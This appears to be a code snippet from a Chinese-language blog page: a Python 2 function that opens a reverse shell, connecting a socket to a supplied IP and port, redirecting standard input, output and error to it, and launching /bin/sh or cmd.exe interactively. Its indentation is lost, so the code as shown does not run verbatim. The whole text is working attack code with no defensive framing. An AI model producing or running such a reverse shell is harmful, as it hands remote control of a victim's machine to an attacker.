def conn(ip,port):
ip = str(ip)
port = int(port)
linux_bash = "/bin/sh"
windows_cmd = "C:\Windows\System32\cmd.exe"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip, port))
print "[*] Connect Success"
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
if os.path.exists(linux_bash):
p=subprocess.call([linux_bash,"-i"]);
print "[*] This shell rebound to",ip,port
elif os.path.exists(windows_cmd):
p=subprocess.call([windows_cmd,"-i"]);
print "[*] This shell rebound to",ip,port
else:
print "[!] The Command Controler Not Found, I will exit\n"
print "[!] Please check ",linux_bash,"or",windows_cmd
exit()
评论列表
文章目录